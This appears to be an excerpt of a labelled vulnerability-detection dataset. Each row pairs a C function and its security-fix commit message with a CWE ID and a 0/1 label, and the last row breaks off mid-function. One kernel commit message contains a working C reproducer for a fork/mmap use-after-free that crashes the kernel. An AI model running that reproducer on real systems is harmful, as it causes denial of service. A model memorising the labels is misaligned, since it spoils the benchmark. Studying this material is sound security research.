instruction stringclasses 1 value | input stringlengths 56 241k | output int64 0 1 | __index_level_0__ int64 0 175k |
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: inverseFilteringLevelEmphasis(HANDLE_SBR_LPP_TRANS hLppTrans,/*!< Handle of lpp transposer */
UCHAR nInvfBands, /*!< Number of bands for inverse filtering */
INVF_MODE *sbr_invf_mode, /*!< Current inverse filtering modes */
INVF_MODE *sbr_invf_mode_prev, /*!< Previous inverse filtering modes */
FIXP_DBL * bwVector /*!< Resulting filtering levels */
)
{
for(int i = 0; i < nInvfBands; i++) {
FIXP_DBL accu;
FIXP_DBL bwTmp = mapInvfMode (sbr_invf_mode[i],
sbr_invf_mode_prev[i],
hLppTrans->pSettings->whFactors);
if(bwTmp < hLppTrans->bwVectorOld[i]) {
accu = fMultDiv2(FL2FXCONST_DBL(0.75f),bwTmp) +
fMultDiv2(FL2FXCONST_DBL(0.25f),hLppTrans->bwVectorOld[i]);
}
else {
accu = fMultDiv2(FL2FXCONST_DBL(0.90625f),bwTmp) +
fMultDiv2(FL2FXCONST_DBL(0.09375f),hLppTrans->bwVectorOld[i]);
}
if (accu < FL2FXCONST_DBL(0.015625f)>>1)
bwVector[i] = FL2FXCONST_DBL(0.0f);
else
bwVector[i] = fixMin(accu<<1,FL2FXCONST_DBL(0.99609375f));
}
}
Commit Message: Fix out of bound memory access in lppTransposer
In TRANSPOSER_SETTINGS, initialize the whole bwBorders array to a
reasonable value to guarantee correct termination in while loop
in lppTransposer function. This fixes the reported bug.
For completeness:
- clear the whole bwIndex array instead of noOfPatches entries only.
- abort criterion in while loop to prevent potential
infinite loop, and limit bwIndex[patch] to a valid range.
Test: see bug for malicious content, decoded with "stagefright -s -a"
Bug: 65280786
Change-Id: I16ed2e1c0f1601926239a652ca20a91284151843
(cherry picked from commit 6d3dd40e204bf550abcfa589bd9615df8778e118)
CWE ID: CWE-200 | 0 | 163,326 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void SettingLevelBubbleView::OnPaint(gfx::Canvas* canvas) {
views::View::OnPaint(canvas);
canvas->DrawBitmapInt(*icon_, kPadding, (height() - icon_->height()) / 2);
}
Commit Message: chromeos: Move audio, power, and UI files into subdirs.
This moves more files from chrome/browser/chromeos/ into
subdirectories.
BUG=chromium-os:22896
TEST=did chrome os builds both with and without aura
TBR=sky
Review URL: http://codereview.chromium.org/9125006
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@116746 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 109,338 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int vp7_calculate_mb_offset(int mb_x, int mb_y, int mb_width,
int xoffset, int yoffset, int boundary,
int *edge_x, int *edge_y)
{
int vwidth = mb_width + 1;
int new = (mb_y + yoffset) * vwidth + mb_x + xoffset;
if (new < boundary || new % vwidth == vwidth - 1)
return 0;
*edge_y = new / vwidth;
*edge_x = new % vwidth;
return 1;
}
Commit Message: avcodec/webp: Always set pix_fmt
Fixes: out of array access
Fixes: 1434/clusterfuzz-testcase-minimized-6314998085189632
Fixes: 1435/clusterfuzz-testcase-minimized-6483783723253760
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Reviewed-by: "Ronald S. Bultje" <rsbultje@gmail.com>
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-119 | 0 | 63,988 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void nfs41_init_sequence(struct nfs4_sequence_args *args,
struct nfs4_sequence_res *res, int cache_reply)
{
}
Commit Message: Fix length of buffer copied in __nfs4_get_acl_uncached
_copy_from_pages() used to copy data from the temporary buffer to the
user passed buffer is passed the wrong size parameter when copying
data. res.acl_len contains both the bitmap and acl lenghts while
acl_len contains the acl length after adjusting for the bitmap size.
Signed-off-by: Sachin Prabhu <sprabhu@redhat.com>
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
CWE ID: CWE-189 | 0 | 19,853 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void xhci_via_challenge(XHCIState *xhci, uint64_t addr)
{
PCIDevice *pci_dev = PCI_DEVICE(xhci);
uint32_t buf[8];
uint32_t obuf[8];
dma_addr_t paddr = xhci_mask64(addr);
pci_dma_read(pci_dev, paddr, &buf, 32);
memcpy(obuf, buf, sizeof(obuf));
if ((buf[0] & 0xff) == 2) {
obuf[0] = 0x49932000 + 0x54dc200 * buf[2] + 0x7429b578 * buf[3];
obuf[0] |= (buf[2] * buf[3]) & 0xff;
obuf[1] = 0x0132bb37 + 0xe89 * buf[2] + 0xf09 * buf[3];
obuf[2] = 0x0066c2e9 + 0x2091 * buf[2] + 0x19bd * buf[3];
obuf[3] = 0xd5281342 + 0x2cc9691 * buf[2] + 0x2367662 * buf[3];
obuf[4] = 0x0123c75c + 0x1595 * buf[2] + 0x19ec * buf[3];
obuf[5] = 0x00f695de + 0x26fd * buf[2] + 0x3e9 * buf[3];
obuf[6] = obuf[2] ^ obuf[3] ^ 0x29472956;
obuf[7] = obuf[2] ^ obuf[3] ^ 0x65866593;
}
pci_dma_write(pci_dev, paddr, &obuf, 32);
}
Commit Message:
CWE ID: CWE-835 | 0 | 5,761 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int php_zip_pcre(char *regexp, int regexp_len, char *path, int path_len, zval *return_value TSRMLS_DC) /* {{{ */
{
#ifdef ZTS
char cwd[MAXPATHLEN];
int cwd_skip = 0;
char work_path[MAXPATHLEN];
char *result;
#endif
int files_cnt;
char **namelist;
#ifdef ZTS
if (!IS_ABSOLUTE_PATH(path, path_len)) {
result = VCWD_GETCWD(cwd, MAXPATHLEN);
if (!result) {
cwd[0] = '\0';
}
#ifdef PHP_WIN32
if (IS_SLASH(*path)) {
cwd[2] = '\0';
}
#endif
cwd_skip = strlen(cwd)+1;
snprintf(work_path, MAXPATHLEN, "%s%c%s", cwd, DEFAULT_SLASH, path);
path = work_path;
}
#endif
if (ZIP_OPENBASEDIR_CHECKPATH(path)) {
return -1;
}
files_cnt = php_stream_scandir(path, &namelist, NULL, (void *) php_stream_dirent_alphasort);
if (files_cnt > 0) {
pcre *re = NULL;
pcre_extra *pcre_extra = NULL;
int preg_options = 0, i;
re = pcre_get_compiled_regex(regexp, &pcre_extra, &preg_options TSRMLS_CC);
if (!re) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid expression");
return -1;
}
array_init(return_value);
/* only the files, directories are ignored */
for (i = 0; i < files_cnt; i++) {
struct stat s;
char fullpath[MAXPATHLEN];
int ovector[3];
int matches;
int namelist_len = strlen(namelist[i]);
if ((namelist_len == 1 && namelist[i][0] == '.') ||
(namelist_len == 2 && namelist[i][0] == '.' && namelist[i][1] == '.')) {
efree(namelist[i]);
continue;
}
if ((path_len + namelist_len + 1) >= MAXPATHLEN) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "add_path string too long (max: %i, %i given)",
MAXPATHLEN - 1, (path_len + namelist_len + 1));
efree(namelist[i]);
break;
}
snprintf(fullpath, MAXPATHLEN, "%s%c%s", path, DEFAULT_SLASH, namelist[i]);
if (0 != VCWD_STAT(fullpath, &s)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Cannot read <%s>", fullpath);
efree(namelist[i]);
continue;
}
if (S_IFDIR == (s.st_mode & S_IFMT)) {
efree(namelist[i]);
continue;
}
matches = pcre_exec(re, NULL, namelist[i], strlen(namelist[i]), 0, 0, ovector, 3);
/* 0 means that the vector is too small to hold all the captured substring offsets */
if (matches < 0) {
efree(namelist[i]);
continue;
}
add_next_index_string(return_value, fullpath, 1);
efree(namelist[i]);
}
efree(namelist);
}
return files_cnt;
}
/* }}} */
Commit Message: Fix bug #72434: ZipArchive class Use After Free Vulnerability in PHP's GC algorithm and unserialize
CWE ID: CWE-416 | 0 | 51,303 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: psf_close (SF_PRIVATE *psf)
{ uint32_t k ;
int error = 0 ;
if (psf->codec_close)
{ error = psf->codec_close (psf) ;
/* To prevent it being called in psf->container_close(). */
psf->codec_close = NULL ;
} ;
if (psf->container_close)
error = psf->container_close (psf) ;
error = psf_fclose (psf) ;
psf_close_rsrc (psf) ;
/* For an ISO C compliant implementation it is ok to free a NULL pointer. */
free (psf->container_data) ;
free (psf->codec_data) ;
free (psf->interleave) ;
free (psf->dither) ;
free (psf->peak_info) ;
free (psf->broadcast_16k) ;
free (psf->loop_info) ;
free (psf->instrument) ;
free (psf->cues) ;
free (psf->channel_map) ;
free (psf->format_desc) ;
free (psf->strings.storage) ;
if (psf->wchunks.chunks)
for (k = 0 ; k < psf->wchunks.used ; k++)
free (psf->wchunks.chunks [k].data) ;
free (psf->rchunks.chunks) ;
free (psf->wchunks.chunks) ;
free (psf->iterator) ;
free (psf->cart_16k) ;
memset (psf, 0, sizeof (SF_PRIVATE)) ;
free (psf) ;
return error ;
} /* psf_close */
Commit Message: src/ : Move to a variable length header buffer
Previously, the `psf->header` buffer was a fixed length specified by
`SF_HEADER_LEN` which was set to `12292`. This was problematic for
two reasons; this value was un-necessarily large for the majority
of files and too small for some others.
Now the size of the header buffer starts at 256 bytes and grows as
necessary up to a maximum of 100k.
CWE ID: CWE-119 | 1 | 170,066 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void rdma_umap_open(struct vm_area_struct *vma)
{
struct ib_uverbs_file *ufile = vma->vm_file->private_data;
struct rdma_umap_priv *opriv = vma->vm_private_data;
struct rdma_umap_priv *priv;
if (!opriv)
return;
/* We are racing with disassociation */
if (!down_read_trylock(&ufile->hw_destroy_rwsem))
goto out_zap;
/*
* Disassociation already completed, the VMA should already be zapped.
*/
if (!ufile->ucontext)
goto out_unlock;
priv = kzalloc(sizeof(*priv), GFP_KERNEL);
if (!priv)
goto out_unlock;
rdma_umap_priv_init(priv, vma);
up_read(&ufile->hw_destroy_rwsem);
return;
out_unlock:
up_read(&ufile->hw_destroy_rwsem);
out_zap:
/*
* We can't allow the VMA to be created with the actual IO pages, that
* would break our API contract, and it can't be stopped at this
* point, so zap it.
*/
vma->vm_private_data = NULL;
zap_vma_ptes(vma, vma->vm_start, vma->vm_end - vma->vm_start);
}
Commit Message: coredump: fix race condition between mmget_not_zero()/get_task_mm() and core dumping
The core dumping code has always run without holding the mmap_sem for
writing, despite that is the only way to ensure that the entire vma
layout will not change from under it. Only using some signal
serialization on the processes belonging to the mm is not nearly enough.
This was pointed out earlier. For example in Hugh's post from Jul 2017:
https://lkml.kernel.org/r/alpine.LSU.2.11.1707191716030.2055@eggly.anvils
"Not strictly relevant here, but a related note: I was very surprised
to discover, only quite recently, how handle_mm_fault() may be called
without down_read(mmap_sem) - when core dumping. That seems a
misguided optimization to me, which would also be nice to correct"
In particular because the growsdown and growsup can move the
vm_start/vm_end the various loops the core dump does around the vma will
not be consistent if page faults can happen concurrently.
Pretty much all users calling mmget_not_zero()/get_task_mm() and then
taking the mmap_sem had the potential to introduce unexpected side
effects in the core dumping code.
Adding mmap_sem for writing around the ->core_dump invocation is a
viable long term fix, but it requires removing all copy user and page
faults and to replace them with get_dump_page() for all binary formats
which is not suitable as a short term fix.
For the time being this solution manually covers the places that can
confuse the core dump either by altering the vma layout or the vma flags
while it runs. Once ->core_dump runs under mmap_sem for writing the
function mmget_still_valid() can be dropped.
Allowing mmap_sem protected sections to run in parallel with the
coredump provides some minor parallelism advantage to the swapoff code
(which seems to be safe enough by never mangling any vma field and can
keep doing swapins in parallel to the core dumping) and to some other
corner case.
In order to facilitate the backporting I added "Fixes: 86039bd3b4e6"
however the side effect of this same race condition in /proc/pid/mem
should be reproducible since before 2.6.12-rc2 so I couldn't add any
other "Fixes:" because there's no hash beyond the git genesis commit.
Because find_extend_vma() is the only location outside of the process
context that could modify the "mm" structures under mmap_sem for
reading, by adding the mmget_still_valid() check to it, all other cases
that take the mmap_sem for reading don't need the new check after
mmget_not_zero()/get_task_mm(). The expand_stack() in page fault
context also doesn't need the new check, because all tasks under core
dumping are frozen.
Link: http://lkml.kernel.org/r/20190325224949.11068-1-aarcange@redhat.com
Fixes: 86039bd3b4e6 ("userfaultfd: add new syscall to provide memory externalization")
Signed-off-by: Andrea Arcangeli <aarcange@redhat.com>
Reported-by: Jann Horn <jannh@google.com>
Suggested-by: Oleg Nesterov <oleg@redhat.com>
Acked-by: Peter Xu <peterx@redhat.com>
Reviewed-by: Mike Rapoport <rppt@linux.ibm.com>
Reviewed-by: Oleg Nesterov <oleg@redhat.com>
Reviewed-by: Jann Horn <jannh@google.com>
Acked-by: Jason Gunthorpe <jgg@mellanox.com>
Acked-by: Michal Hocko <mhocko@suse.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-362 | 0 | 90,474 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: GaiaCookieManagerService::ExternalCcResultFetcher::GetExternalCcResult() {
std::vector<std::string> results;
for (ResultMap::const_iterator it = results_.begin(); it != results_.end();
++it) {
results.push_back(it->first + ":" + it->second);
}
return base::JoinString(results, ",");
}
Commit Message: Add data usage tracking for chrome services
Add data usage tracking for captive portal, web resource and signin services
BUG=655749
Review-Url: https://codereview.chromium.org/2643013004
Cr-Commit-Position: refs/heads/master@{#445810}
CWE ID: CWE-190 | 0 | 128,991 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void copyMultiCh8(short *dst, const int *const *src, unsigned nSamples, unsigned nChannels)
{
for (unsigned i = 0; i < nSamples; ++i) {
for (unsigned c = 0; c < nChannels; ++c) {
*dst++ = src[c][i] << 8;
}
}
}
Commit Message: FLACExtractor: copy protect mWriteBuffer
Bug: 30895578
Change-Id: I4cba36bbe3502678210e5925181683df9726b431
CWE ID: CWE-119 | 1 | 174,020 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: struct dentry *mount_single(struct file_system_type *fs_type,
int flags, void *data,
int (*fill_super)(struct super_block *, void *, int))
{
struct super_block *s;
int error;
s = sget(fs_type, compare_single, set_anon_super, flags, NULL);
if (IS_ERR(s))
return ERR_CAST(s);
if (!s->s_root) {
error = fill_super(s, data, flags & MS_SILENT ? 1 : 0);
if (error) {
deactivate_locked_super(s);
return ERR_PTR(error);
}
s->s_flags |= MS_ACTIVE;
} else {
do_remount_sb(s, flags, data, 0);
}
return dget(s->s_root);
}
Commit Message: get rid of s_files and files_lock
The only thing we need it for is alt-sysrq-r (emergency remount r/o)
and these days we can do just as well without going through the
list of files.
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-17 | 0 | 46,201 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void copy_seccomp(struct task_struct *p)
{
#ifdef CONFIG_SECCOMP
/*
* Must be called with sighand->lock held, which is common to
* all threads in the group. Holding cred_guard_mutex is not
* needed because this new task is not yet running and cannot
* be racing exec.
*/
assert_spin_locked(¤t->sighand->siglock);
/* Ref-count the new filter user, and assign it. */
get_seccomp_filter(current);
p->seccomp = current->seccomp;
/*
* Explicitly enable no_new_privs here in case it got set
* between the task_struct being duplicated and holding the
* sighand lock. The seccomp state and nnp must be in sync.
*/
if (task_no_new_privs(current))
task_set_no_new_privs(p);
/*
* If the parent gained a seccomp mode after copying thread
* flags and between before we held the sighand lock, we have
* to manually enable the seccomp thread flag here.
*/
if (p->seccomp.mode != SECCOMP_MODE_DISABLED)
set_tsk_thread_flag(p, TIF_SECCOMP);
#endif
}
Commit Message: fork: fix incorrect fput of ->exe_file causing use-after-free
Commit 7c051267931a ("mm, fork: make dup_mmap wait for mmap_sem for
write killable") made it possible to kill a forking task while it is
waiting to acquire its ->mmap_sem for write, in dup_mmap().
However, it was overlooked that this introduced an new error path before
a reference is taken on the mm_struct's ->exe_file. Since the
->exe_file of the new mm_struct was already set to the old ->exe_file by
the memcpy() in dup_mm(), it was possible for the mmput() in the error
path of dup_mm() to drop a reference to ->exe_file which was never
taken.
This caused the struct file to later be freed prematurely.
Fix it by updating mm_init() to NULL out the ->exe_file, in the same
place it clears other things like the list of mmaps.
This bug was found by syzkaller. It can be reproduced using the
following C program:
#define _GNU_SOURCE
#include <pthread.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <unistd.h>
static void *mmap_thread(void *_arg)
{
for (;;) {
mmap(NULL, 0x1000000, PROT_READ,
MAP_POPULATE|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
}
}
static void *fork_thread(void *_arg)
{
usleep(rand() % 10000);
fork();
}
int main(void)
{
fork();
fork();
fork();
for (;;) {
if (fork() == 0) {
pthread_t t;
pthread_create(&t, NULL, mmap_thread, NULL);
pthread_create(&t, NULL, fork_thread, NULL);
usleep(rand() % 10000);
syscall(__NR_exit_group, 0);
}
wait(NULL);
}
}
No special kernel config options are needed. It usually causes a NULL
pointer dereference in __remove_shared_vm_struct() during exit, or in
dup_mmap() (which is usually inlined into copy_process()) during fork.
Both are due to a vm_area_struct's ->vm_file being used after it's
already been freed.
Google Bug Id: 64772007
Link: http://lkml.kernel.org/r/20170823211408.31198-1-ebiggers3@gmail.com
Fixes: 7c051267931a ("mm, fork: make dup_mmap wait for mmap_sem for write killable")
Signed-off-by: Eric Biggers <ebiggers@google.com>
Tested-by: Mark Rutland <mark.rutland@arm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
Cc: Dmitry Vyukov <dvyukov@google.com>
Cc: Ingo Molnar <mingo@kernel.org>
Cc: Konstantin Khlebnikov <koct9i@gmail.com>
Cc: Oleg Nesterov <oleg@redhat.com>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: <stable@vger.kernel.org> [v4.7+]
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-416 | 0 | 59,270 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void GDataDirectory::RemoveEntry(GDataEntry* entry) {
DCHECK(entry);
RemoveChild(entry);
delete entry;
}
Commit Message: Remove parent* arg from GDataEntry ctor.
* Remove static FromDocumentEntry from GDataEntry, GDataFile, GDataDirectory. Replace with InitFromDocumentEntry.
* Move common code from GDataFile::InitFromDocumentEntry and GDataDirectory::InitFromDocumentEntry to GDataEntry::InitFromDocumentEntry.
* Add GDataDirectoryService::FromDocumentEntry and use this everywhere.
* Make ctors of GDataFile, GDataDirectory private, so these must be created by GDataDirectoryService's CreateGDataFile and
CreateGDataDirectory. Make GDataEntry ctor protected.
BUG=141494
TEST=unit tests.
Review URL: https://chromiumcodereview.appspot.com/10854083
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@151008 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 117,108 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: finish_process_as_req(struct as_req_state *state, krb5_error_code errcode)
{
krb5_key_data *server_key;
krb5_keyblock *as_encrypting_key = NULL;
krb5_data *response = NULL;
const char *emsg = 0;
int did_log = 0;
loop_respond_fn oldrespond;
void *oldarg;
kdc_realm_t *kdc_active_realm = state->active_realm;
krb5_audit_state *au_state = state->au_state;
assert(state);
oldrespond = state->respond;
oldarg = state->arg;
if (errcode)
goto egress;
au_state->stage = ENCR_REP;
if ((errcode = validate_forwardable(state->request, *state->client,
*state->server, state->kdc_time,
&state->status))) {
errcode += ERROR_TABLE_BASE_krb5;
goto egress;
}
errcode = check_indicators(kdc_context, state->server,
state->auth_indicators);
if (errcode) {
state->status = "HIGHER_AUTHENTICATION_REQUIRED";
goto egress;
}
state->ticket_reply.enc_part2 = &state->enc_tkt_reply;
/*
* Find the server key
*/
if ((errcode = krb5_dbe_find_enctype(kdc_context, state->server,
-1, /* ignore keytype */
-1, /* Ignore salttype */
0, /* Get highest kvno */
&server_key))) {
state->status = "FINDING_SERVER_KEY";
goto egress;
}
/*
* Convert server->key into a real key
* (it may be encrypted in the database)
*
* server_keyblock is later used to generate auth data signatures
*/
if ((errcode = krb5_dbe_decrypt_key_data(kdc_context, NULL,
server_key,
&state->server_keyblock,
NULL))) {
state->status = "DECRYPT_SERVER_KEY";
goto egress;
}
/* Start assembling the response */
state->reply.msg_type = KRB5_AS_REP;
state->reply.client = state->enc_tkt_reply.client; /* post canonization */
state->reply.ticket = &state->ticket_reply;
state->reply_encpart.session = &state->session_key;
if ((errcode = fetch_last_req_info(state->client,
&state->reply_encpart.last_req))) {
state->status = "FETCH_LAST_REQ";
goto egress;
}
state->reply_encpart.nonce = state->request->nonce;
state->reply_encpart.key_exp = get_key_exp(state->client);
state->reply_encpart.flags = state->enc_tkt_reply.flags;
state->reply_encpart.server = state->ticket_reply.server;
/* copy the time fields EXCEPT for authtime; it's location
* is used for ktime
*/
state->reply_encpart.times = state->enc_tkt_reply.times;
state->reply_encpart.times.authtime = state->authtime = state->kdc_time;
state->reply_encpart.caddrs = state->enc_tkt_reply.caddrs;
state->reply_encpart.enc_padata = NULL;
/* Fetch the padata info to be returned (do this before
* authdata to handle possible replacement of reply key
*/
errcode = return_padata(kdc_context, &state->rock, state->req_pkt,
state->request, &state->reply,
&state->client_keyblock, &state->pa_context);
if (errcode) {
state->status = "KDC_RETURN_PADATA";
goto egress;
}
/* If we didn't find a client long-term key and no preauth mechanism
* replaced the reply key, error out now. */
if (state->client_keyblock.enctype == ENCTYPE_NULL) {
state->status = "CANT_FIND_CLIENT_KEY";
errcode = KRB5KDC_ERR_ETYPE_NOSUPP;
goto egress;
}
errcode = handle_authdata(kdc_context,
state->c_flags,
state->client,
state->server,
NULL,
state->local_tgt,
&state->client_keyblock,
&state->server_keyblock,
NULL,
state->req_pkt,
state->request,
NULL, /* for_user_princ */
NULL, /* enc_tkt_request */
state->auth_indicators,
&state->enc_tkt_reply);
if (errcode) {
krb5_klog_syslog(LOG_INFO, _("AS_REQ : handle_authdata (%d)"),
errcode);
state->status = "HANDLE_AUTHDATA";
goto egress;
}
errcode = krb5_encrypt_tkt_part(kdc_context, &state->server_keyblock,
&state->ticket_reply);
if (errcode) {
state->status = "ENCRYPT_TICKET";
goto egress;
}
errcode = kau_make_tkt_id(kdc_context, &state->ticket_reply,
&au_state->tkt_out_id);
if (errcode) {
state->status = "GENERATE_TICKET_ID";
goto egress;
}
state->ticket_reply.enc_part.kvno = server_key->key_data_kvno;
errcode = kdc_fast_response_handle_padata(state->rstate,
state->request,
&state->reply,
state->client_keyblock.enctype);
if (errcode) {
state->status = "MAKE_FAST_RESPONSE";
goto egress;
}
/* now encode/encrypt the response */
state->reply.enc_part.enctype = state->client_keyblock.enctype;
errcode = kdc_fast_handle_reply_key(state->rstate, &state->client_keyblock,
&as_encrypting_key);
if (errcode) {
state->status = "MAKE_FAST_REPLY_KEY";
goto egress;
}
errcode = return_enc_padata(kdc_context, state->req_pkt, state->request,
as_encrypting_key, state->server,
&state->reply_encpart, FALSE);
if (errcode) {
state->status = "KDC_RETURN_ENC_PADATA";
goto egress;
}
if (kdc_fast_hide_client(state->rstate))
state->reply.client = (krb5_principal)krb5_anonymous_principal();
errcode = krb5_encode_kdc_rep(kdc_context, KRB5_AS_REP,
&state->reply_encpart, 0,
as_encrypting_key,
&state->reply, &response);
if (state->client_key != NULL)
state->reply.enc_part.kvno = state->client_key->key_data_kvno;
if (errcode) {
state->status = "ENCODE_KDC_REP";
goto egress;
}
/* these parts are left on as a courtesy from krb5_encode_kdc_rep so we
can use them in raw form if needed. But, we don't... */
memset(state->reply.enc_part.ciphertext.data, 0,
state->reply.enc_part.ciphertext.length);
free(state->reply.enc_part.ciphertext.data);
log_as_req(kdc_context, state->local_addr, state->remote_addr,
state->request, &state->reply, state->client, state->cname,
state->server, state->sname, state->authtime, 0, 0, 0);
did_log = 1;
egress:
if (errcode != 0)
assert (state->status != 0);
au_state->status = state->status;
au_state->reply = &state->reply;
kau_as_req(kdc_context,
(errcode || state->preauth_err) ? FALSE : TRUE, au_state);
kau_free_kdc_req(au_state);
free_padata_context(kdc_context, state->pa_context);
if (as_encrypting_key)
krb5_free_keyblock(kdc_context, as_encrypting_key);
if (errcode)
emsg = krb5_get_error_message(kdc_context, errcode);
if (state->status) {
log_as_req(kdc_context, state->local_addr, state->remote_addr,
state->request, &state->reply, state->client,
state->cname, state->server, state->sname, state->authtime,
state->status, errcode, emsg);
did_log = 1;
}
if (errcode) {
if (state->status == 0) {
state->status = emsg;
}
if (errcode != KRB5KDC_ERR_DISCARD) {
errcode -= ERROR_TABLE_BASE_krb5;
if (errcode < 0 || errcode > KRB_ERR_MAX)
errcode = KRB_ERR_GENERIC;
errcode = prepare_error_as(state->rstate, state->request,
state->local_tgt, errcode,
state->e_data, state->typed_e_data,
((state->client != NULL) ?
state->client->princ : NULL),
&response, state->status);
state->status = 0;
}
}
if (emsg)
krb5_free_error_message(kdc_context, emsg);
if (state->enc_tkt_reply.authorization_data != NULL)
krb5_free_authdata(kdc_context,
state->enc_tkt_reply.authorization_data);
if (state->server_keyblock.contents != NULL)
krb5_free_keyblock_contents(kdc_context, &state->server_keyblock);
if (state->client_keyblock.contents != NULL)
krb5_free_keyblock_contents(kdc_context, &state->client_keyblock);
if (state->reply.padata != NULL)
krb5_free_pa_data(kdc_context, state->reply.padata);
if (state->reply_encpart.enc_padata)
krb5_free_pa_data(kdc_context, state->reply_encpart.enc_padata);
if (state->cname != NULL)
free(state->cname);
if (state->sname != NULL)
free(state->sname);
krb5_db_free_principal(kdc_context, state->client);
krb5_db_free_principal(kdc_context, state->server);
krb5_db_free_principal(kdc_context, state->local_tgt_storage);
if (state->session_key.contents != NULL)
krb5_free_keyblock_contents(kdc_context, &state->session_key);
if (state->ticket_reply.enc_part.ciphertext.data != NULL) {
memset(state->ticket_reply.enc_part.ciphertext.data , 0,
state->ticket_reply.enc_part.ciphertext.length);
free(state->ticket_reply.enc_part.ciphertext.data);
}
krb5_free_pa_data(kdc_context, state->e_data);
krb5_free_data(kdc_context, state->inner_body);
kdc_free_rstate(state->rstate);
krb5_free_kdc_req(kdc_context, state->request);
k5_free_data_ptr_list(state->auth_indicators);
assert(did_log != 0);
free(state);
(*oldrespond)(oldarg, errcode, response);
}
Commit Message: Prevent KDC unset status assertion failures
Assign status values if S4U2Self padata fails to decode, if an
S4U2Proxy request uses invalid KDC options, or if an S4U2Proxy request
uses an evidence ticket which does not match the canonicalized request
server principal name. Reported by Samuel Cabrero.
If a status value is not assigned during KDC processing, default to
"UNKNOWN_REASON" rather than failing an assertion. This change will
prevent future denial of service bugs due to similar mistakes, and
will allow us to omit assigning status values for unlikely errors such
as small memory allocation failures.
CVE-2017-11368:
In MIT krb5 1.7 and later, an authenticated attacker can cause an
assertion failure in krb5kdc by sending an invalid S4U2Self or
S4U2Proxy request.
CVSSv3 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H/E:H/RL:O/RC:C
ticket: 8599 (new)
target_version: 1.15-next
target_version: 1.14-next
tags: pullup
CWE ID: CWE-617 | 1 | 168,039 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void GLES2DecoderImpl::DeleteRenderbuffersHelper(
GLsizei n, const GLuint* client_ids) {
for (GLsizei ii = 0; ii < n; ++ii) {
RenderbufferManager::RenderbufferInfo* info =
GetRenderbufferInfo(client_ids[ii]);
if (info) {
state_dirty_ = true;
GLuint service_id = info->service_id();
glDeleteRenderbuffersEXT(1, &service_id);
RemoveRenderbufferInfo(client_ids[ii]);
}
}
}
Commit Message: Revert "Revert 100494 - Fix bug in SimulateAttrib0."""
TEST=none
BUG=95625
TBR=apatrick@chromium.org
Review URL: http://codereview.chromium.org/7796016
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@100507 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 0 | 99,110 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PanoramiXRenderComposite (ClientPtr client)
{
PanoramiXRes *src, *msk, *dst;
int result = Success, j;
xRenderCompositeReq orig;
REQUEST(xRenderCompositeReq);
REQUEST_SIZE_MATCH(xRenderCompositeReq);
VERIFY_XIN_PICTURE (src, stuff->src, client, DixReadAccess);
VERIFY_XIN_ALPHA (msk, stuff->mask, client, DixReadAccess);
VERIFY_XIN_PICTURE (dst, stuff->dst, client, DixWriteAccess);
orig = *stuff;
FOR_NSCREENS_FORWARD(j) {
stuff->src = src->info[j].id;
if (src->u.pict.root)
{
stuff->xSrc = orig.xSrc - screenInfo.screens[j]->x;
stuff->ySrc = orig.ySrc - screenInfo.screens[j]->y;
}
stuff->dst = dst->info[j].id;
if (dst->u.pict.root)
{
